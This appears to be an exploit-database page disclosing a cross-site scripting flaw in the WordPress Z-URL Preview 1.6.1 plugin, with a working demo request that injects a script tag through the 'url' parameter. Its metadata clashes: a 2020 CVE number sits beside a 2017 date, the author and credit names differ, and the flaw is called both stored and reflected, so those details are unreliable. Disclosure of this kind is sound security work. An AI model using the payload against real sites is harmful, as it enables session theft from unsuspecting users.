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WordPress Z-URL Preview 1.6.1 Cross Site Scripting

CVE Category Price Severity
CVE-2020-17105 CWE-79 $1000 High
Author Risk Exploitation Type Date
Richard Jones High Remote 2017-12-06
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017120030

Below is a copy:

WordPress Z-URL Preview 1.6.1 Cross Site Scripting
Class Input Validation Error
Remote  Yes

Credit Ricardo Sanchez
Vulnerable Z-URL Preview 1.6.1

Z-URL Preview is prone to a stored cross-site scripting
vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the
browser of an unsuspecting user in the context of the affected site. This
may allow the attacker to steal cookie-based authentication credentials and
to launch other attacks.

To exploit this issue following steps:
The XSS reflected because the value url is not filter correctly:


Demo Request:
http://localhost/wordpress/wp-content/plugins/z-url-preview/class.zlinkpreview.php?url=
</script>"><script>alert("XSS")</script>

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